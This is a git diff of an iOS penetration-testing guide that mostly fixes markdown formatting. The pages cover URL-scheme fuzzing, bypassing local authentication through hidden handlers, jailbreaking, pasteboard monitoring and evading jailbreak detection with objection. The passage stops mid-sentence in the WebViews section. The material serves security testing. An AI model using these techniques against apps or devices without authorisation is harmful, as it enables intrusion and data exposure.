-![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission_request_alert.png?alt=media) +![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission\_request\_alert.png?alt=media) If having the original source code, you can verify the permissions included in the `Info.plist` file: @@ -133,7 +133,7 @@ If only having the IPA: ### Device Capabilities -Device capabilities are used by the App Store to ensure that only compatible devices are listed and therefore are allowed to download the app. They are specified in the `Info.plist` file of the app under the [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/plist/info/UIRequiredDeviceCapabilities) key. +Device capabilities are used by the App Store to ensure that only compatible devices are listed and therefore are allowed to download the app. They are specified in the `Info.plist` file of the app under the [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities) key. ```markup UIRequiredDeviceCapabilities @@ -148,7 +148,7 @@ For example, an app might be completely dependent on NFC to work (e.g. a ["NFC T ### Entitlements -> Entitlements are key value pairs that are signed in to an app and allow authentication beyond runtime factors, like UNIX user ID. Since entitlements are digitally signed, they can’t be changed. Entitlements are used extensively by system apps and daemons to** perform specific privileged operations that would otherwise require the process to run as root**. This greatly reduces the potential for privilege escalation by a compromised system app or daemon. +> Entitlements are key value pairs that are signed in to an app and allow authentication beyond runtime factors, like UNIX user ID. Since entitlements are digitally signed, they can’t be changed. Entitlements are used extensively by system apps and daemons to **perform specific privileged operations that would otherwise require the process to run as root**. This greatly reduces the potential for privilege escalation by a compromised system app or daemon. For example, if you want to set the "Default Data Protection" capability, you would need to go to the **Capabilities** tab in Xcode and enable **Data Protection**. This is directly written by Xcode to the `.entitlements` file as the `com.apple.developer.default-data-protection` entitlement with default value `NSFileProtectionComplete`. In the IPA we might find this in the `embedded.mobileprovision` as: @@ -167,15 +167,15 @@ For other capabilities such as HealthKit, the user has to be asked for permissio **Objecttive-C** has a **dynamic runtime**, so when an Objective-C program is executed in iOS, it calls libraries whose **address are resolved at runtime** by comparing the name of the function sent in the message against a list of all the function names available. -At the beginning, only apps created by Apple run the iPhones, so they had **access to everything** as they were **trusted**. However, when Apple **allowed** **third party applications, **Apple just removed the headers files of the powerful functions to "hide" them to developers. However, developers found that "safe" functions needed a few of these undocumented functions and just creating a **custom header file with the names of the undocumented functions, it was possible to invoke this powerful hidden functions. **Actually, Apple, before allowing an app to be published, check if the app calls any of these prohibited functions. +At the beginning, only apps created by Apple run the iPhones, so they had **access to everything** as they were **trusted**. However, when Apple **allowed** **third party applications,** Apple just removed the headers files of the powerful functions to "hide" them to developers. However, developers found that "safe" functions needed a few of these undocumented functions and just creating a **custom header file with the names of the undocumented functions, it was possible to invoke this powerful hidden functions.** Actually, Apple, before allowing an app to be published, check if the app calls any of these prohibited functions. Then, Swift appeared. As **Swift is statically bound** (it doesn't resolve the address of the functions in runtime like Objective-C), it can be checked more easily the calls a Swift program is going to make via static code analysis. ## Device Management -From iOS version 6, there is **built-in support for device management **capability with fine grain controls that allows an organisation to control the corporate apple devices.\ +From iOS version 6, there is **built-in support for device management** capability with fine grain controls that allows an organisation to control the corporate apple devices.\ The enrolment can be **initiated by the user installing an agent** in order to access the corporate apps. In this case the device usually belongs to the user.\ -Or the **company can indicate the serial numbers **of the bought devices or the purchase order ID and specify the MDM profile to install on those devices. Note that Apple **doesn't allow to enrol a particular device this way twice**. Once the first profile is deleted the user needs to give consent to install another one. +Or the **company can indicate the serial numbers** of the bought devices or the purchase order ID and specify the MDM profile to install on those devices. Note that Apple **doesn't allow to enrol a particular device this way twice**. Once the first profile is deleted the user needs to give consent to install another one. The user can see the installed policies in _**Settings**_ --> _**General**_ --> _**Profile and Device Management**_ diff --git a/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md index 5d7ac344..230e9842 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md @@ -1,8 +1,8 @@ # iOS Custom URI Handlers / Deeplinks / Custom Schemes -Custom URL schemes [allow apps to communicate via a custom protocol](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). An app must declare support for the schemes and handle incoming URLs that use those schemes. +Custom URL schemes [allow apps to communicate via a custom protocol](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW1). An app must declare support for the schemes and handle incoming URLs that use those schemes. -> URL schemes offer a potential attack vector into your app, so make sure to** validate all URL parameters** and **discard any malformed URLs**. In addition, limit the available **actions** to those that d**o not risk the user’s data**. +> URL schemes offer a potential attack vector into your app, so make sure to **validate all URL parameters** and **discard any malformed URLs**. In addition, limit the available **actions** to those that d**o not risk the user’s data**. For example, the URI: `myapp://hostname?data=123876123` will **invoke** the **application** mydata (the one that has **register** the scheme `mydata`) to the **action** related to the **hostname** `hostname` sending the **parameter** `data` with value `123876123` @@ -24,7 +24,7 @@ You can find the **schemes registered by an application** in the app's **`Info.p ``` -However, note that **malicious applications can re-register URIs** already registered by applications. So, if you are sending **sensitive information via URIs** (myapp://hostname?password=123456) a **malicious** application can **intercept **the URI with the **sensitive** **information**. +However, note that **malicious applications can re-register URIs** already registered by applications. So, if you are sending **sensitive information via URIs** (myapp://hostname?password=123456) a **malicious** application can **intercept** the URI with the **sensitive** **information**. Also, the input of these URIs **should be checked and sanitised,** as it can be coming from **malicious** **origins** trying to exploit SQLInjections, XSS, CSRF, Path Traversals, or other possible vulnerabilities. @@ -77,7 +77,7 @@ func application(_ application: UIApplication, handleOpen url: URL) -> Bool { ### Testing URL Requests to Other Apps -The method [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) and the [deprecated `openURL:` method of `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) are responsible for **opening URLs **(i.e. to send requests / make queries to other apps) that may be local to the current app or it may be one that must be provided by a different app. If you have the original source code you can search directly for usages of those methods. +The method [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) and the [deprecated `openURL:` method of `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) are responsible for **opening URLs** (i.e. to send requests / make queries to other apps) that may be local to the current app or it may be one that must be provided by a different app. If you have the original source code you can search directly for usages of those methods. Additionally, if you are interested into knowing if the app is querying specific services or apps, and if the app is well-known, you can also search for common URL schemes online and include them in your **greps (l**[**ist of iOS app schemes**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)**)**. @@ -118,7 +118,7 @@ $ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl" * [**IDB**](https://github.com/facebook/idb): * Start IDB, connect to your device and select the target app. You can find details in the [IDB documentation](https://www.idbtool.com/documentation/setup.html). * Go to the **URL Handlers** section. In **URL schemes**, click **Refresh**, and on the left you'll find a list of all custom schemes defined in the app being tested. You can load these schemes by clicking **Open**, on the right side. By simply opening a blank URI scheme (e.g., opening `myURLscheme://`), you can discover hidden functionality (e.g., a debug window) and bypass local authentication. -* **Frida**: +* **Frida**: If you simply want to open the URL scheme you can do it using Frida: @@ -160,7 +160,7 @@ The [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) project offers fuzzing di ### **Fuzzing Using Frida** -Doing this with Frida is pretty easy, you can refer to this [blog post](https://grepharder.github.io/blog/0x03\_learning_about_universal_links_and_fuzzing_url_schemes_on_ios_with_frida.html) to see an example that fuzzes the iGoat-Swift app (working on iOS 11.1.2). +Doing this with Frida is pretty easy, you can refer to this [blog post](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) to see an example that fuzzes the iGoat-Swift app (working on iOS 11.1.2). Before running the fuzzer we need the URL schemes as inputs. From the static analysis we know that the iGoat-Swift app supports the following URL scheme and parameters: `iGoat://?contactNumber={0}&message={0}`. diff --git a/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md b/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md index b344d194..e25d1ec3 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md @@ -88,7 +88,7 @@ struct CustomPointStruct:Codable { } ``` -By adding `Codable` to the inheritance list for the `CustomPointStruct` in the example, the methods `init(from:)` and `encode(to:)` are automatically supported. Fore more details about the workings of `Codable` check [the Apple Developer Documentation](https://developer.apple.com/documentation/foundation/archives_and_serialization/encoding_and_decoding_custom_types). +By adding `Codable` to the inheritance list for the `CustomPointStruct` in the example, the methods `init(from:)` and `encode(to:)` are automatically supported. Fore more details about the workings of `Codable` check [the Apple Developer Documentation](https://developer.apple.com/documentation/foundation/archives\_and\_serialization/encoding\_and\_decoding\_custom\_types). You can also use codable to save the data in the primary property list `NSUserDefaults`: @@ -137,13 +137,13 @@ let stringData = String(data: data, encoding: .utf8) There are multiple ways to do XML encoding. Similar to JSON parsing, there are various third party libraries, such as: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash) -They vary in terms of speed, memory usage, object persistence and more important: differ in how they handle XML external entities. See [XXE in the Apple iOS Office viewer](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) as an example. Therefore, it is key to disable external entity parsing if possible. See the [OWASP XXE prevention cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) for more details. Next to the libraries, you can make use of Apple's [`XMLParser` class](https://developer.apple.com/documentation/foundation/xmlparser) +They vary in terms of speed, memory usage, object persistence and more important: differ in how they handle XML external entities. See [XXE in the Apple iOS Office viewer](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) as an example. Therefore, it is key to disable external entity parsing if possible. See the [OWASP XXE prevention cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html) for more details. Next to the libraries, you can make use of Apple's [`XMLParser` class](https://developer.apple.com/documentation/foundation/xmlparser) When not using third party libraries, but Apple's `XMLParser`, be sure to let `shouldResolveExternalEntities` return `false`. {% hint style="danger" %} -All these ways of serialising/encoding data can be** used to store data in the file system**. In those scenarios, check if the stored data contains any kind of **sensitive information**.\ -Moreover, in some cases you may be able to **abuse some serialised** data (capturing it via MitM or modifying it inside the filesystem) deserializing arbitrary data and **making the application perform unexpected actions **(see [Deserialization page](../../pentesting-web/deserialization/)). In these cases, it's recommended to send/save the serialised data encrypted and signed. +All these ways of serialising/encoding data can be **used to store data in the file system**. In those scenarios, check if the stored data contains any kind of **sensitive information**.\ +Moreover, in some cases you may be able to **abuse some serialised** data (capturing it via MitM or modifying it inside the filesystem) deserializing arbitrary data and **making the application perform unexpected actions** (see [Deserialization page](../../pentesting-web/deserialization/)). In these cases, it's recommended to send/save the serialised data encrypted and signed. {% endhint %} ### References diff --git a/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md b/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md index 4cfe0516..88c76098 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md @@ -5,7 +5,7 @@ A **provisioning identity** is a collection of public and private keys that are associated an Apple developer account. In order to **sign apps** you need to pay **99$/year** to register in the **Apple Developer Program** to get your provisioning identity. Without this you won't be able to run applications from the source code in a physical device. Another option to do this is to use a **jailbroken device**. Starting in Xcode 7.2 Apple has provided an option to create a **free iOS development provisioning profile** that allows to write and test your application on a real iPhone. Go to _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Add new Appli ID you your credentials) --> _Click on the Apple ID created_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\ -__Then, in order to run your application in your iPhone you need first to **indicate the iPhone to trust the computer. **Then, you can try to **run the application in the mobile from Xcode,** but and error will appear. So go to _Settings_ --> _General_ --> _Profiles and Device Management_ --> Select the untrusted profile and click "**Trust**". +__Then, in order to run your application in your iPhone you need first to **indicate the iPhone to trust the computer.** Then, you can try to **run the application in the mobile from Xcode,** but and error will appear. So go to _Settings_ --> _General_ --> _Profiles and Device Management_ --> Select the untrusted profile and click "**Trust**". Note that **applications signed by the same signing certificate can share resources on a secure manner, like keychain items**. @@ -70,7 +70,7 @@ iOS jailbreaking is often **compared to Android rooting**, but the process is ac * **Rooting**: This typically involves installing the `su` binary on the system or replacing the whole system with a rooted custom ROM. Exploits aren't required to obtain root access as long as the bootloader is accessible. * **Flashing custom ROMs**: This allows you to replace the OS that's running on the device after you unlock the bootloader. The bootloader may require an exploit to unlock it. -**On iOS devices, flashing a custom ROM is impossible **because the iOS bootloader **only allows Apple-signed images** to be booted and flashed. This is why even **official iOS images can't be installed if they aren't signed by Apple, and it makes iOS downgrades only possible for as long as the previous iOS version is still signed.** +**On iOS devices, flashing a custom ROM is impossible** because the iOS bootloader **only allows Apple-signed images** to be booted and flashed. This is why even **official iOS images can't be installed if they aren't signed by Apple, and it makes iOS downgrades only possible for as long as the previous iOS version is still signed.** The purpose of jailbreaking is to **disable iOS protections** (Apple's code signing mechanisms in particular) so that **arbitrary unsigned code can run on the device** (e.g. custom code or downloaded from alternative app stores such as Cydia or Sileo). The word "jailbreak" is a colloquial reference to all-in-one tools that automate the disabling process. @@ -78,9 +78,9 @@ The purpose of jailbreaking is to **disable iOS protections** (Apple's code sign Jailbreaking an iOS device is becoming more and more **complicated** because Apple keeps hardening the system and patching the exploited vulnerabilities. Jailbreaking has become a very time-sensitive procedure because **Apple stops signing these vulnerable versions relatively soon after releasing a fix** (unless the jailbreak benefits from hardware-based vulnerabilities, such as the [limera1n exploit](https://www.theiphonewiki.com/wiki/Limera1n) affecting the BootROM of the iPhone 4 and iPad 1). This means that **you can't downgrade to a specific iOS version once Apple stops signing the firmware**. -If you have a jailbroken device that you use for security testing,** keep it **as is unless you're 100% sure that you can re-jailbreak it after upgrading to the latest iOS version. +If you have a jailbroken device that you use for security testing, **keep it** as is unless you're 100% sure that you can re-jailbreak it after upgrading to the latest iOS version. -iOS upgrades are based on a challenge-response process (generating the so-called SHSH blobs as a result). The device will allow the OS installation only if the response to the challenge is signed by Apple. This is what researchers call a "signing window", and it is the reason **you can't simply store the OTA firmware package you downloaded and load it onto the device whenever you want to**. During minor iOS upgrades, two versions may both be signed by Apple (the latest one, and the previous iOS version). This is the only situation in which you can downgrade the iOS device. You can c**heck the current signing window and download OTA firmware from the **[**IPSW Downloads website**](https://ipsw.me). +iOS upgrades are based on a challenge-response process (generating the so-called SHSH blobs as a result). The device will allow the OS installation only if the response to the challenge is signed by Apple. This is what researchers call a "signing window", and it is the reason **you can't simply store the OTA firmware package you downloaded and load it onto the device whenever you want to**. During minor iOS upgrades, two versions may both be signed by Apple (the latest one, and the previous iOS version). This is the only situation in which you can downgrade the iOS device. You can c**heck the current signing window and download OTA firmware from the** [**IPSW Downloads website**](https://ipsw.me). {% hint style="danger" %} **Updating the OS removes the effect of jailbreaking.** @@ -90,7 +90,7 @@ iOS upgrades are based on a challenge-response process (generating the so-called * **Tethered** **jailbreaks** don't persist through reboots, so re-applying jailbreaks requires the device to be connected (tethered) to a computer during every reboot. The device may not reboot at all if the computer is not connected. * **Semi-tethered jailbreaks** can't be re-applied unless the device is connected to a computer during reboot. The device can also boot into non-jailbroken mode on its own. -* **Semi-untethered jailbreaks **allow the device to boot on its own, but the kernel patches (or user-land modifications) for disabling code signing aren't applied automatically. The user must re-jailbreak the device by starting an app or visiting a website (not requiring a connection to a computer, hence the term untethered). +* **Semi-untethered jailbreaks** allow the device to boot on its own, but the kernel patches (or user-land modifications) for disabling code signing aren't applied automatically. The user must re-jailbreak the device by starting an app or visiting a website (not requiring a connection to a computer, hence the term untethered). * **Untethered jailbreaks** are the most popular choice for end users because they need to be applied only once, after which the device will be permanently jailbroken. ### Jailbreaking Tools @@ -109,7 +109,7 @@ The iOS jailbreak scene evolves so rapidly that providing up-to-date instruction ### Benefits -The most important side effect of Jailbreaking is that it** removes any sandboxing put in place by the OS**. Therefore, any **app on the device can read any file **on the filesystem, including other apps files, cookies and keychain. +The most important side effect of Jailbreaking is that it **removes any sandboxing put in place by the OS**. Therefore, any **app on the device can read any file** on the filesystem, including other apps files, cookies and keychain. A jailbroken device allows users to **install unapproved apps** and leverage **more APIs**, which otherwise aren't accessible. @@ -133,6 +133,6 @@ A jailbroken device allows users to **install unapproved apps** and leverage **m * The presence of the **OpenSSH** service * Calling `/bin/sh` will **return 1** instead of 0 -**More information about how to detect jailbreaking **[**here**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** +**More information about how to detect jailbreaking** [**here**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** -You can try to avoid this detections using **objection's **`ios jailbreak disable` +You can try to avoid this detections using **objection's** `ios jailbreak disable` diff --git a/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md b/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md index dd289b44..2d9ba143 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md @@ -2,7 +2,7 @@ ## UIActivity Sharing -Starting on iOS 6 it is possible for third-party apps to **share data (items) **via specific mechanisms [like AirDrop, for example](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). From a user perspective, this feature is the well-known system-wide _share activity sheet_ that appears after clicking on the "Share" button. +Starting on iOS 6 it is possible for third-party apps to **share data (items)** via specific mechanisms [like AirDrop, for example](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW3). From a user perspective, this feature is the well-known system-wide _share activity sheet_ that appears after clicking on the "Share" button. A full list of the available built-in sharing mechanisms can be found in [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). If not considered appropriate for the app, the d**evelopers have the possibility to exclude some of these sharing mechanisms**. @@ -33,8 +33,8 @@ $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems When receiving items, you should check: -* if the app **declares **_**custom document types**_** **by looking into **Exported/Imported UTIs **("Info" tab of the Xcode project). The list of all system declared UTIs (Uniform Type Identifiers) can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259). -* if the app specifies any _**document types that it can open**_ by looking into **Document Types **("Info" tab of the Xcode project). If present, they consist of name and one or more UTIs that represent the data type (e.g. "public.png" for PNG files). iOS uses this to determine if the app is eligible to open a given document (specifying Exported/Imported UTIs is not enough). +* if the app **declares **_**custom document types**_** ** by looking into **Exported/Imported UTIs** ("Info" tab of the Xcode project). The list of all system declared UTIs (Uniform Type Identifiers) can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple\_ref/doc/uid/TP40009259). +* if the app specifies any _**document types that it can open**_ by looking into **Document Types** ("Info" tab of the Xcode project). If present, they consist of name and one or more UTIs that represent the data type (e.g. "public.png" for PNG files). iOS uses this to determine if the app is eligible to open a given document (specifying Exported/Imported UTIs is not enough). * if the app properly _**verifies the received data**_ by looking into the implementation of [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (or its deprecated version [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) in the app delegate. If not having the source code you can still take a look into the `Info.plist` file and search for: @@ -66,4 +66,4 @@ For receiving items you can: * Observe the app behavior. * In addition, you could send specific malformed files and/or use a fuzzing technique. -**Read how **[**here**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.** +**Read how** [**here**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.** diff --git a/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md b/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md index 4a083d4b..735af72e 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md @@ -2,13 +2,13 @@ The [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) enables sharing data within an app, and from an app to other apps. There are two kinds of pasteboards: -* **systemwide general pasteboard**: for sharing data with** any app**. Persistent by default across device restarts and app uninstalls (since iOS 10). -* **custom / named pasteboards**: for sharing data **with another app** (having the same team ID as the app to share from) or with the **app itself **(they are only available in the process that creates them). Non-persistent by default (since iOS 10), that is, they exist only until the owning (creating) app quits. +* **systemwide general pasteboard**: for sharing data with **any app**. Persistent by default across device restarts and app uninstalls (since iOS 10). +* **custom / named pasteboards**: for sharing data **with another app** (having the same team ID as the app to share from) or with the **app itself** (they are only available in the process that creates them). Non-persistent by default (since iOS 10), that is, they exist only until the owning (creating) app quits. Some security considerations: * Users **cannot grant or deny permission** for apps to read the **pasteboard**. -* Since iOS 9, apps [cannot access the pasteboard while in background](https://forums.developer.apple.com/thread/13760), this mitigates background pasteboard monitoring. +* Since iOS 9, apps [cannot access the pasteboard while in background](https://forums.developer.apple.com/thread/13760), this mitigates background pasteboard monitoring. * [Apple warns about persistent named pasteboards](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) and **discourages their use**. Instead, shared containers should be used. * Starting in iOS 10 there is a new Handoff feature called **Universal Clipboard** that is enabled by default. It allows the **general pasteboard contents to automatically transfer between devices**. This feature can be disabled if the developer chooses to do so and it is also possible to set an expiration time and date for copied data. @@ -38,7 +38,7 @@ When **monitoring** the **pasteboards**, there is several **details** that may b * Get the **first available pasteboard item**: e.g. for strings use `string` method. Or use any of the other methods for the [standard data types](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275). * Get the **number of items** with `numberOfItems`. * Check for **existence of standard data types** with the [convenience methods](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), e.g. `hasImages`, `hasStrings`, `hasURLs` (starting in iOS 10). -* Check for **other data types **(typically UTIs) with [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). You may inspect for more concrete data types like, for example an picture as public.png and public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) or for custom data such as com.mycompany.myapp.mytype. Remember that, in this case, only those apps that _declare knowledge_ of the type are able to understand the data written to the pasteboard. Retrieve them using [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) and setting the corresponding UTIs. +* Check for **other data types** (typically UTIs) with [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). You may inspect for more concrete data types like, for example an picture as public.png and public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) or for custom data such as com.mycompany.myapp.mytype. Remember that, in this case, only those apps that _declare knowledge_ of the type are able to understand the data written to the pasteboard. Retrieve them using [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) and setting the corresponding UTIs. * Check for excluded or expiring items by hooking `setItems:options:` and inspecting its options for `UIPasteboardOptionLocalOnly` or `UIPasteboardOptionExpirationDate`. If only looking for strings you may want to use **objection's** command `ios pasteboard monitor`: diff --git a/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md b/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md index 4b7c94f4..d3f81070 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md @@ -4,7 +4,7 @@ Universal links allows to **redirect users directly** to the app without passing Universal links are **unique**, so they **can't be claimed by other app**s because they use standard HTTP(S) links to the **website where the owner has uploaded a file to make sure that the website and the app are related**.\ As these links uses HTTP(S) schemes, when the **app isn't installed, safari will open the link** redirecting the users to the page. These allows **apps to communicate with the app even if it isn't installed**. -To create universal links it's needed to **create a JSON file called `apple-app-site-association` **with the details. Then this file needs to be **hosted in the root directory of your webserver** (e.g. [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\ +To create universal links it's needed to **create a JSON file called `apple-app-site-association` ** with the details. Then this file needs to be **hosted in the root directory of your webserver** (e.g. [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\ For the pentester this file is very interesting as it **discloses paths**. It can even be disclosing paths of releases that haven't been published yet. ### ​**Checking the Associated Domains Entitlement** @@ -21,7 +21,7 @@ Here's an example from Telegram's `.entitlements` file: ``` -More detailed information can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2). +More detailed information can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple\_ref/doc/uid/TP40016308-CH12-SW2). If you only has the compiled application you can extract the entitlements following this guide: @@ -33,7 +33,7 @@ If you only has the compiled application you can extract the entitlements follow Try to retrieve the `apple-app-site-association` file from the server using the associated domains you got from the previous step. This file needs to be accessible via HTTPS, without any redirects, at `https:///apple-app-site-association` or `https:///.well-known/apple-app-site-association`. -You can retrieve it yourself with your browser or use the [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/). +You can retrieve it yourself with your browser or use the [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/). ### **Checking the Link Receiver Method** @@ -61,7 +61,7 @@ func application(_ application: UIApplication, continue userActivity: NSUserActi In addition, remember that if the URL includes parameters, they should not be trusted before being carefully sanitized and validated (even when coming from trusted domain). For example, they might have been spoofed by an attacker or might include malformed data. If that is the case, the whole URL and therefore the universal link request must be discarded. -The `NSURLComponents` API can be used to parse and manipulate the components of the URL. This can be also part of the method `application:continueUserActivity:restorationHandler:` itself or might occur on a separate method being called from it. The following [example](https://developer.apple.com/documentation/uikit/core_app/allowing_apps_and_websites_to_link_to_your_content/handling_universal_links#3001935) demonstrates this: +The `NSURLComponents` API can be used to parse and manipulate the components of the URL. This can be also part of the method `application:continueUserActivity:restorationHandler:` itself or might occur on a separate method being called from it. The following [example](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935) demonstrates this: ```swift func application(_ application: UIApplication, diff --git a/mobile-apps-pentesting/ios-pentesting/ios-webviews.md b/mobile-apps-pentesting/ios-pentesting/ios-webviews.md index a1d36298..437b8a2a 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-webviews.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-webviews.md @@ -4,13 +4,13 @@ WebViews are in-app browser components for displaying interactive **web** **content**. They can be used to embed web content directly into an app's user interface. iOS WebViews **support** **JavaScript** execution **by default**, so script injection and Cross-Site Scripting attacks can affect them. -* ****[**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**: **UIWebView is deprecated starting on iOS 12 and should not be used. It shouldn't be used. **JavaScript cannot be disabled**. +* ****[**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView is deprecated starting on iOS 12 and should not be used. It shouldn't be used. **JavaScript cannot be disabled**. * ****[**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): This is the appropriate choice for extending app functionality, controlling displayed content. * **JavaScript** is enabled by default but thanks to the **`javaScriptEnabled`** property of `WKWebView`, it **can be completely disabled**, preventing all script injection flaws. * The **`JavaScriptCanOpenWindowsAutomatically`** can be used to **prevent** JavaScript from **opening new windows**, such as pop-ups. * The **`hasOnlySecureContent`** property can be used to verify resources loaded by the WebView are retrieved through encrypted connections. * `WKWebView` implements out-of-process rendering, so **memory corruption bugs won't affect** the main app process. -* ****[**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**: **It** **should be used to provide a **generalized web viewing experience**. These WebViews can be easily spotted as they have a characteristic layout which includes the following 